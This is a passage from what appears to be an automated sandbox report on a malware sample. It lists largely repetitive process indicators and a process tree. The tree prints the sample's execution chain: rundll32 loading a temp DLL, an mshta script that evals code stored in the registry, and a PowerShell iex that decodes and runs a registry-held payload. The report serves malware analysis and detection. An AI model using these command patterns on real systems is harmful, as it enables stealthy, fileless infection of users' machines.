3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 1980 powershell.exe 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 1988 cmd.exe 3000 Explorer.EXE -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1872 systeminfo.exe -
Runs net.exe
-
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2740 tasklist.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3000 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll,#12⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll,#13⤵PID:1864
-
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82\\\AxInrvps'));if(!window.flag)close()</script>"2⤵
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82").AppCbcd))3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1980 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\blgv55yd\blgv55yd.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF061.tmp" "c:\Users\Admin\AppData\Local\Temp\blgv55yd\CSC9F353470C0DC49C58E452258BFE261.TMP"5⤵PID:2504
-
-
-
